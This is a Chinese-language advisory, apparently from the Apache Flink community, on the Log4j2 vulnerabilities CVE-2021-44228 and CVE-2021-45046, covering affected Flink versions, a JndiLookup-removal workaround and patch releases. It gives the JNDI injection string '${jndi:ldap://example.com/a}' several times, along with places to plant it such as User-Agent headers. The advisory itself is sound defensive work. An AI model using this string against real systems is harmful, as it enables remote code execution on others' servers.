Log4j2 Zero Day 漏洞 Apache Flink 应对指南

▼ 关注「ApacheFlink」视频号,遇见更多大咖 ▼

摘要:本文详细说明了 Log4j2 Zero Day 漏洞的影响,以及 Flink 社区的应对方案。主要内容包括:

  1. 漏洞说明

  2. Flink 用户可能受到的影响

  3. 受影响的 Flink 版本和临时解决方案

  4. Flink 社区修复计划

Tips:点击「阅读原文」查看更多技术干货~

概述

Apache Log4j 是基于 Java 的日志记录工具,Apache Log4j2 重写了 Log4j 并增加了很多丰富的特性。最近,由阿里云安全报告了 Apache log4j2 的 Zero Day 漏洞[1],基于该漏洞,攻击者可以构造恶意请求,触发远程代码执行漏洞,目前该漏洞被 CVE-2021-44228[2] 追踪。Log4j 团队在发现该问题后马上发布了 2.15.0 版本,并给出了临时解决方案。

12 月 14 日,来自 Twitter 公司的团队发现并且报告了一个新的漏洞问题:CVE-2021-45046[17]。该漏洞表示 2.15.0 中对 CVE-2021-44228 的修复以及给出的临时解决方案并不完备,在某些配置条件下依然会被利用导致 DOS 攻击。随后 Log4j 团队又发布了 2.16.0 版本,并推荐受影响的软件升级至该版本,同时给出了新的临时解决方案。

上述漏洞的影响版本范围为 2.0-beta9 <= log4j2 <= 2.12.1 和 2.13.0 <= log4j2 <= 2.15.0。Apache Flink 在 1.10 及以前的版本中使用的是 Log4j 1.x 版本,可以认为不受影响。而 1.11 及以上版本中使用了 Log4j 2.x 版本,且均在受影响范围内。

接下来我们将首先简要阐述漏洞的细节和影响,然后会特别说明该漏洞对 Flink 用户可能产生的影响,最后将详细介绍 Flink 用户对该漏洞可采用的临时解决方案和 Flink 社区的修复计划。

一、漏洞说明


CVE-2021-44228

这个漏洞可以追溯到 Log4j 早年间引入的一个 Feature。2013 年,Log4j 在 2.0-beta9 版本[3] 中添加了 “JNDILookup plugin”[4] 功能。

Java 在 1990 年之后引入了 JNDI 作为一种目录服务,让 Java 程序可以以 Java 对象的形式通过目录查找数据。JNDI 提供了多种 SPI 支持不同的目录服务,如 CORBA COS (公共对象服务)、Java RMI (远程方法接口) Registry 和 LDAP (轻量级目录访问协议)。这些都是可能被 CVE-2021-44228/45046 漏洞利用的服务。

Java 程序可以结合使用 JNDI 和 LDAP 来查找包含可能需要的数据的 Java 对象。例如,在标准 Java 文档中有一个与 LDAP 服务器通信以检索对象属性的示例。即使用 “ldap://localhost:389/o=JNDITutorial” 这个 URL 从运行在同一台机器 (localhost) 上的端口为 389 的 LDAP 服务器中查找 JNDITutorial 对象,并继续从中读取属性。

根据 JNDI 官方帮助文档描述 “如果您的 LDAP 服务器位于另一台机器上或正在使用另一个端口,那么您需要编辑 LDAP URL”,LDAP 服务器可以在不同的机器上运行,也可以在 Internet 上的任何地方运行。这种灵活性意味着如果攻击者能够控制 LDAP URL,他们就能够让 Java 程序从他们控制的服务器加载对象。

在 Log4j 包含漏洞的版本中,攻击者可以通过传入类似 “${jndi:ldap://example.com/a}” 形式的字符串来控制 Log4j 访问的 LDAP URL。在这种情况下,Log4j 将连接到 example.com 上的 LDAP 服务器并检索对象。

Log4j 对 “${prefix:name}” 形式有特殊的语法解释,其中 prefix 是 Log4j 提供的多种 Lookups[5]中的一种,name 则对应在该 Lookup 下的一种执行属性。例如,${java:version} 是当前运行的 Java 版本。

而 LOG4J-313 增加的 JndiLookup 提供了通过 JNDI 检索变量的能力。在默认情况下,key 将以 “java:comp/env/” 这种形式作为 prefix。但当 key 中本身就包含额外的 “:” 时,则解析不到正确的 prefix 形式。例如字符串 “${jndi:ldap://example.com/a} ” 传入时,Log4j 将检测不到正确的 prefix,由于 Message Lookup 机制,其行为会变成在 LDAP 服务器中查询目标对象。

因此,攻击者只需要找到一个可能被打印的输入并在其中添加类似 “${jndi:ldap://example.com/a}” 的字符串。比如攻击者可能将攻击字符串插入到类似 User-Agent 的 HTTP header 中、类似 username 的表单参数中等。

这种方式在基于 Java 的面向 Internet 的应用中很常见。更令人窒息的是,这种数据可能会从一个系统传递到另一个系统中,导致使用 Java 的非面向 Internet 的应用也会中招。

例如,一个利用该漏洞的 User-Agent 的字符串可以传递到使用 Java 编写的后端系统中,该系统可能会基于漏洞数据建立索引或数据分析,而这些过程中漏洞数据有可能也会被 Log4j 打印,进而造成严重的影响。因此,所有使用 Log4j2 的基于 Java 开发的软件都应该进行马上采取修补措施,否则潜在的威胁很大。即使面向 Internet 的软件不是用 Java 编写的,恶意字符串也有可能会被传递到其他使用 Java 编写的系统中从而产生严重问题。例如一个基于 Java 编写的记账系统,它可能在找不到客户的名字时进行打印。而攻击者可以创建一个包含漏洞信息的客户名字的订单,而该漏洞信息很可能会在 Web 服务器、数据库系统中传递并最后进入账单系统中,链路中的各个系统都可能受到影响。

此外,Java 除了在面向 Internet 的系统中使用外,也在很多其他场景中被使用。例如一个包裹处理系统上的 QR 码或者一个非接触式门的电子钥匙,如果它们用 Java 编写并使用了 Log4j,那么都很有可能被攻击。一个精心制作的二维码可能包含一个漏洞信息的邮政地址,一个精心编码的电子钥匙可能带有漏洞利用的恶意程序,直接跟踪我们的进出的记录。

还有一些包含定时任务的系统可能不会马上处理该漏洞信息,在该定时任务汇总、存档过程打印该恶意字符串之前,该漏洞可能会一直处于休眠状态。而在数小时甚至数天后才会触发到该漏洞并造成严重影响。


CVE-2021-45046

这个漏洞由 Twitter 发现。2.15.0 版本对 CVE-2021-44228 的修复和 Log4j 团队之前给出的建议并不能完全避免该漏洞的影响。其原因是当日志配置中使用了一些非默认的 Pattern Layout (Context lookup 或者 Thread Context Map pattern) 时,攻击者可以利用该模式注入恶意数据。

如果日志配置中存在上述的 Pattern Layout,基于 “log4j2.formatMsgNoLookups=true” 的方案并不能阻止恶意数据利用 JndiLookup 去触发 CVE-2021-44228,即使 2.15.0 中限制 JNDI LDAP Lookup 的范围在 Localhost,依然会面临 DOS 攻击的风险。

二、Flink 用户可能受到的影响

使用 1.11 及以上版本的 Flink,会受到该漏洞的影响。如上一章节中所述,虽然大部分使用场景下 Flink 并不直接面向 Internet,但攻击字符串可能会从其他系统直接传入到 Flink (即使其他系统已经做了一些防范措施) 并由 Flink 中的 UDF 进行处理,而这个过程中的 Record 相关的打印操作就会触发该漏洞 (事实上,这种打印操作在实际应用中很常见),进而造成严重影响。

ad6f7f5e961e66b6031d1fa78e85fdfb.png

以常见的日志分析场景为例,我们经常见到在 UDF 中打印 Record 的相关信息的操作,当攻击字符串 (如 ${jndi:ldap://example.com/a}) 从 Kafka 传递到 Flink 中被这些 UDF 处理时,会直接导致作业执行环境中的节点受到影响。类似的消息传递一方面不受报文传递加解密的限制 (UDF 在处理经过加密的消息时会先解码),另一方面不需要 Flink 作业的提交权限而是可以直接在上游注入。因此对于 Flink 系统,尤其是对可访问外网且缺乏安全容器隔离能力的执行环境来说,具备很高的威胁。

三、受影响的 Flink 版本

和临时解决方案


目前 Flink 各个已发布版本使用的 log4j 版本详情如下:

06d794faf1f99afe3bc55be9b24b16c7.png

可以看到,Flink 在 1.11 及以上的版本使用的均是 2.x 的 Log4j 版本,因此均会受影响,而 1.10 及以下的版本可以认为不受影响。目前社区已积极响应修复该问题,详细修复计划将在下一章节介绍。

在社区尚未发布对应修复版本之前,需要采用 Log4j 团队建议的方式解决,即使用:

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

将 Flink 中依赖的 log4j-core 里的 JndiLooup.class 删除,以达到 2.16.0 中禁用 JNDI 的效果。

需要注意以下三点:

  1. 该修复过程需要停止作业,在做完修复后重启。

  2. 对于 Apache Log4j 的 Zero Day 问题,虽然之前有其他的临时解决方法[6][7] ,但目前只有上面这种方式能完全避免该漏洞的影响。

  3. 建议在社区发布修复版本后,尽快批量升级作业至对应的版本。

四、Flink 社区修复计划


目前 Log4j 已发布了 2.15.0 和 2.16.0 版本,具体修复内容如下:

f1b2f8056be39978ffa45fa40f15ea73.png

Flink 社区在得知这个漏洞后,马上讨论了修复计划[14],社区先将 master 分支中 Log4j 的版本升级至 2.15.0,同时 pick 了该修复到 1.14.1,1.13.4,1.12.5,1.11.4[12],目前这些版本已经发布,用户可以直接使用,例如 https://search.maven.org/artifact/org.apache.flink/flink-core/1.14.1/jar

但考虑到 Log4j 的 2.16.0 版本才能更彻底地解决该问题,社区将 master 分支中 Log4j 的版本进一步升级至 2.16.0,同时 pick 该修复到 1.14.2,1.13.5,1.12.7,1.11.6[13]。目前这些新版本的投票已完成,相信会尽快完成发布[14][15][16]

在 Flink 社区发布 Log4j 2.16.0 对应的各个修复版本后,用户只需要将作业使用的 Flink 版本进行升级,即可完全避免该问题。

参考

[1] Apache Log4j Vulnerability Details and Mitigation

https://www.cyberkendra.com/2021/12/apache-log4j-vulnerability-details-and.html

[2] CVE-2021-44228

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

[3] Apache Log4j 2.0-beta9 released

https://blogs.apache.org/logging/entry/apache_log4j_2_0_beta9

[4] LOG4J2-313

https://issues.apache.org/jira/browse/LOG4J2-313

[5] LOG4J Lookups

https://logging.apache.org/log4j/2.x/manual/lookups.html

[6] Advise on Apache Log4j Zero Day (CVE-2021-44228)

https://flink.apache.org/2021/12/10/log4j-cve.html

[7] CVE-2021-44228 Solution

https://stackoverflow.com/questions/70315727/where-to-put-formatmsgnolookups-in-log4j-xml-config-file/70315902#70315902

[8] LOG4J2-3198

https://issues.apache.org/jira/browse/LOG4J2-3198

[9] LOG4J2-3201

https://issues.apache.org/jira/browse/LOG4J2-3201

[10] LOG4J2-3208

https://issues.apache.org/jira/browse/LOG4J2-3208

[11] LOG4J2-3211

https://issues.apache.org/jira/browse/LOG4J2-3211

[12] Update log4j2 version to 2.15.0

https://issues.apache.org/jira/browse/FLINK-25240

[13] Update Log4j to 2.16.0

https://issues.apache.org/jira/browse/FLINK-25295

[14] [DISCUSS] Immediate dedicated Flink releases for log4j vulnerability

https://lists.apache.org/thread/j15t1lwp84ph7ftjdhpw4429zgl13588

[15] [VOTE] Release 1.11.5/1.12.6/1.13.4/1.14.1, release candidate #1

https://lists.apache.org/thread/64tn3d38ko4hqc9blxdhqrh27x3fjro8

[16] [VOTE] Release 1.11.6/1.12.7/1.13.5/1.14.2, release candidate #1https://lists.apache.org/thread/3yn7ps0ogdkr1r5zdjp10zftwcpr1hqn

[17] CVE-2021-45046

https://nvd.nist.gov/vuln/detail/CVE-2021-45046


更多 Flink CDC 相关技术问题,可扫码加入社区钉钉交流群~

9a3a4a1eac61e63f59499efc30a71909.png


近期热点


16a48ec7c7cf832699fd95c6f5bfd078.png

▼ 关注「Apache Flink」,获取更多技术干货 ▼

更多 Flink 相关技术问题,可扫码加入社区钉钉交流群~

7252142c848cca4d899ce9d0569ce240.png

 5a8b6bb8b3fb00476445f07a21993282.gif  戳我,查看更多技术干货~

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值